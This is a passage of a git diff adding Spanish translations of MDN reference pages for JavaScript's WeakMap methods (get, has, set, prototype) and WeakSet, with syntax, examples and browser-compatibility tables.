+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.get")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.set()")}}</li>
+ <li>{{jsxref("WeakMap.has()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/has/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/has/index.html
new file mode 100644
index 0000000000..dd978ede16
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/has/index.html
@@ -0,0 +1,83 @@
+---
+title: WeakMap.prototype.has()
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap/has
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Protocols
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/has
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>has()</strong></code> devuelve un boleano indicando ya sea, si el elemento con la llave específica existe o no en el objeto <code>WeakMap</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-has.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.has(key);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>identificador (key)</dt>
+ <dd>Requerido. La llave del elemento a comprobar en el objeto <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>Devuelve <code>true</code> si el elemento con la llave específica existe en el objeto <code>WeakMap</code>; de no encontrarse, devolverá <code>false</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilización_del_método_has">Utilización del método <code>has</code> </h3>
+
+<pre class="brush: js">var wm = new WeakMap();
+wm.set(window, 'foo');
+
+wm.has(window); // Devuelve true
+wm.has('baz');  // Devuelve false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.has")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.prototype.set()")}}</li>
+ <li>{{jsxref("WeakMap.prototype.get()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/index.html
new file mode 100644
index 0000000000..0fed17e5ca
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/index.html
@@ -0,0 +1,278 @@
+---
+title: WeakMap
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>WeakMap</code></strong> es una colección de pares clave/valor en la que las claves son objetos y los valores son valores arbitrarios.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>new WeakMap([iterable])
+</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Iterable es un Array u otro objeto iterable cuyos elementos son pares clave-valor (Arrays de dos elementos). Cada par clave-valor será añadido al nuevo WeakMap. null es tratado como undefined.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las claves de los WeakMaps solamente pueden ser del tipo<code> Object</code>. Los {{Glossary("Primitive", "Primitive data types")}} como claves no están permitidos (ej. un {{jsxref("Symbol")}} no pueden ser una clave de <code>WeakMap</code>).</p>
+
+<h3 id="¿Por_qué_WeakMap">¿Por qué <em>Weak</em>Map?</h3>
+
+<p>El programador de JavaScript experimentado se habrá dado cuenta que esta API podría ser implementada en JavaScript con dos arrays (uno para las claves, otro para los valores) compartidos por los cuatro métodos de la API. Dicha implementación habría tenido dos inconvenientes principales: El primero es una búsqueda O(n) (siendo n el número de claves en el mapa). El segundo es un problema de pérdida de memoria. Con mapas escritos manualmente, el array de las claves mantendría referencias a la objetos clave, impidiéndoles ser recolectados. En los WeakMap nativos, las referencias a los objetos clave son mantenidas "débilmente", lo que quiere decir que no impiden la recolección de basura en caso de que no haya otras referencias al objeto.</p>
+
+<p>Dado que las referencias son débiles, <code>las claves de WeakMap</code> no son enumerables (ej: no existe un método que te devuelva la lista de las claves). Si existiera, la lista dependería de la recolección de basura, introduciendo indeterminismo. Si quieres una lista de las claves, se debe usar un  {{jsxref("Map")}} o mantenerla tu mismo.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>WeakMap.length</code></dt>
+ <dd>El valor de la propiedad <code>length</code> es 0.</dd>
+ <dt>{{jsxref("WeakMap.prototype")}}</dt>
+ <dd>Representa el prototipo para el nuevo constructor<code> WeakMap</code>. Permite añadir propiedades a todos los objetos <code>WeakMap</code>.</dd>
+</dl>
+
+<h2 id="Instancias_de_WeakMap"><code>Instancias de WeakMap</code></h2>
+
+<p>Todas las instancias de <code>WeakMap</code> heredan de {{jsxref("WeakMap.prototype")}}.</p>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','Properties')}}</p>
+
+<h3 id="Métodos">Métodos</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','Methods')}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_WeakMap">Usando <code>WeakMap</code></h3>
+
+<pre class="brush: js notranslate">var wm1 = new WeakMap(),
+    wm2 = new WeakMap(),
+    wm3 = new WeakMap();
+var o1 = {},
+    o2 = function(){},
+    o3 = window;
+
+wm1.set(o1, 37);
+wm1.set(o2, "azerty");
+wm2.set(o1, o2); // un valor puede ser cualquier cosa, incluidos objetos o funciones
+wm2.set(o3, undefined);
+wm2.set(wm1, wm2); // claves y valores pueden ser objetos cualesquiera. !Incluso WeakMaps!
+
+wm1.get(o2); // "azerty"
+wm2.get(o2); // undefined, porque no hay valor para o2 en wm2
+wm2.get(o3); // undefined, porque es es el valor del conjunto
+wm1.has(o2); // true
+wm2.has(o2); // false
+wm2.has(o3); // true (incluso si el valor es 'undefined')
+
+wm3.set(o1, 37);
+wm3.get(o1); // 37
+
+wm1.has(o1);   // true
+wm1.delete(o1);
+wm1.has(o1);   // false
+
+</pre>
+
+<h3 id="Implementando_una_clase_tipo-WeakMap_con_un_método_.clear">Implementando una clase tipo-<code>WeakMap</code> con un método .clear()</h3>
+
+<p>Con propósito expositivo, el siguiente ejemplo usa el nuevo costruct class  de ECMAScript 2015, que actualmente no ha sido implementado de forma amplia.</p>
+
+<pre class="brush: js notranslate">class ClearableWeakMap {
+  constructor(init) {
+    this._wm = new WeakMap(init)
+  }
+  clear() {
+    this._wm = new WeakMap()
+  }
+  delete(k) {
+    return this._wm.delete(k)
+  }
+  get(k) {
+    return this._wm.get(k)
+  }
+  has(k) {
+    return this._wm.has(k)
+  }
+  set(k, v) {
+    this._wm.set(k, v)
+    return this
+  }
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (SpiderMonkey)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>{{ CompatOpera(23) }}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>new WeakMap(iterable)</code></td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatOpera(25) }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>clear()</code></td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("20.0")}}</td>
+   <td>11</td>
+   <td>{{ CompatOpera(23) }}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new WeakMap(null)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>set()</code> in Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>WeakMap()</code> without <code>new</code> throws</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (SpiderMonkey)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>35</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td><code>new WeakMap(iterable)</code></td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>clear()</code></td>
+   <td>35</td>
+   <td>{{CompatGeckoMobile("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new WeakMap(null)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>set()</code> in Constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>WeakMap()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=547941">WeakMap bug en Mozilla</a></li>
+ <li><a href="http://fitzgeraldnick.com/weblog/53/">Ocultando los detalles de implementación con los WeakMaps de ECMAScript </a>2015</li>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/prototype/index.html
new file mode 100644
index 0000000000..0127f6606f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/prototype/index.html
@@ -0,0 +1,142 @@
+---
+title: WeakMap.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap/prototype
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Property
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>WeakMap</strong></code><strong><code>.prototype</code></strong> representa el prototipo para el constructor {{jsxref("WeakMap")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las instancias de {{jsxref("WeakMap")}} heredan de {{jsxref("WeakMap.prototype")}}. Se puede usar el objeto prototipo del constructor para añadir propiedades o métodos para todas las instancias de  <code>WeakMap</code>.</p>
+
+<p><code>WeakMap.prototype</code> por si mismo es solamente un objeto ordinario:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"</pre>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>WeakMap.prototype.constructor</code></dt>
+ <dd>Retorna la función que creó el prototipo de la instanciaReturns the function that created an instance's prototype. Esta es la función {{jsxref("WeakMap")}} por defecto.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}</dt>
+ <dd>Remueve cualquier valor asociado a la clave. Después de esto <code>WeakMap.prototype.has(key)</code> retornará falso.</dd>
+ <dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}</dt>
+ <dd>Retorna el valor asociado a la clave, o <code>undefined</code> si no hay ninguno.</dd>
+ <dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}</dt>
+ <dd>Retorna un valor booleano indicando si hay un valor asociado a la clave en el objeto the <code>WeakMap</code> object o no.</dd>
+ <dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}</dt>
+ <dd>Asigna el valor para la clave en el objeto <code>WeakMap</code>. Retorna el objeto <code>WeakMap</code>.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Remueve todas los pares clave/valore del objeto <code>WeakMap</code>. Notese que es posible implementar un objeto parecido al <code>WeakMap</code> que posea un método <code>.clear()</code>, encapsulando el objeto <code>WeakMap</code> que no lo tiene (ver ejemplo en la página {{jsxref("WeakMap")}})</s></dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Objeto ordinario</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Objeto ordinario</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakmap/set/index.html b/files/es/web/javascript/referencia/objetos_globales/weakmap/set/index.html
new file mode 100644
index 0000000000..0dd654e6ef
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakmap/set/index.html
@@ -0,0 +1,91 @@
+---
+title: WeakMap.prototype.set()
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakMap/set
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Protocols
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/set
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>set()</strong></code> añade un nuevo elemento con su <code>key</code> y <code>value</code> específicos al objeto <code>WeakMap</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-set.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.set(key, value);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>indentificador (key)</dt>
+ <dd>Requerido. El identificador (objeto) del elemento a añadir al objeto <code>WeakMap</code>.</dd>
+ <dt>valor (value)</dt>
+ <dd>Requerido. El valor del elemento a añadir al objeto <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El objeto <code>WeakMap</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilización_del_método_set">Utilización del método <code>set</code> </h3>
+
+<pre class="brush: js">var wm = new WeakMap();
+var obj = {};
+
+// Agregando nuevos elementos a WeakMap
+wm.set(obj, 'foo').set(window, 'bar'); // encadenamiento
+// Actualiza el un elemento en el objeto WeakMap
+wm.set(obj, 'baz');
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.set")}}</p>
+
+<h2 id="Notas_específicas_de_Firefox">Notas específicas de Firefox</h2>
+
+<ul>
+ <li>Antes de Firefox 33 {{geckoRelease("33")}}, <code>WeakMap.prototype.set</code> devolvía  <code>undefined</code> y no permitía el encadenamiento. Esto ha sido corregido ({{bug(1031632)}}). Este comportamiento puede encontrarse también en Chrome/v8 (<a href="https://code.google.com/p/v8/issues/detail?id=3410">fallo</a>).</li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.prototype.get()")}}</li>
+ <li>{{jsxref("WeakMap.prototype.has()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/weakset/index.html b/files/es/web/javascript/referencia/objetos_globales/weakset/index.html
new file mode 100644
index 0000000000..ab2af60090
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/weakset/index.html
@@ -0,0 +1,227 @@
+---
+title: WeakSet
+slug: Web/JavaScript/Referencia/Objetos_globales/WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>WeakSet</code></strong>  te deja almacenar y mantener objectos debilmente en una colección.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"> new WeakSet([iterable]);</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>Si un  <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">objeto interable </a>es pasado, todos sus elementos se agregarán al nuevo <code>WeakSet</code>. null es tratado como undefined.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p> </p>
+
+<p>Los objetos <code>WeakSet</code> son colecciones de objetos. Un objecto en <code>WeakSet</code> solo puede ser agregado una vez; Esto quiere decir que es unico en la coleccion <code>WeakSet.</code></p>
+
+<p>Las principales diferencias con el objeto {{jsxref("Set")}} son:</p>
+
+<ul>
+ <li>A diferencia de  <code>Sets</code>, <code>WeakSets</code>  son <strong>solamente colecciones de objetos </strong>y no contienen valores arbitrarios de cualquier otro tipo.</li>
+ <li>El <code>WeakSet</code>  es<em> débil</em>: Las referencias a objetos en la colección se mantienen débilmente.. Si ya no hay otra referencia a un objeto almacenado en el  <code>WeakSet</code>, ellos pueden ser removidos por el recolector de basura. Esto también significa que no hay ninguna lista de objetos almacenados en la colección. Los <code>WeakSets</code> no son enumerables.</li>
+</ul>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>WeakSet.length</code></dt>
+ <dd>El valor de la propiedad <code>length</code>  es 0.</dd>
+ <dt>{{jsxref("WeakSet.prototype")}}</dt>
+ <dd>Representa el prototipo para el constructor <code>Set</code> . Permite la adición de propiedades a todos los objetos WeakSet</dd>
+</dl>
+
+<h2 id="WeakSet_instances"><code>WeakSet</code> instances</h2>
+
+<p>Todas las instancias a <code>WeakSet</code> son heredadas de {{jsxref("WeakSet.prototype")}}.</p>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','Properties')}}</p>
+
+<h3 id="Métodos">Métodos</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','Methods')}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_objetoWeakSet">Usando el objeto<code>WeakSet</code> </h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+var foo = {};
+
+ws.add(window);
+ws.add(obj);
+
+ws.has(window); // true
+ws.has(foo);    // false, foo no fue agregado al conjunto
+
+ws.delete(window); // elimina window del conjunto
+ws.has(window);    // false, window fue eliminado
+</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(36)}}</td>
+   <td>12</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatOpera(23) }}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+  <tr>
+   <td><code>new WeakSet(iterable)</code></td>
+   <td>38</td>
+   <td>12</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new WeakSet(null)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>add()</code> in Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+  <tr>
+   <td>Obsolete clear() method removed</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(30)}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td><code>new WeakMap(iterable)</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new WeakSet(null)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>add()</code> in Constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Obsolete clear() method removed</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Tambien_ver">Tambien ver</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
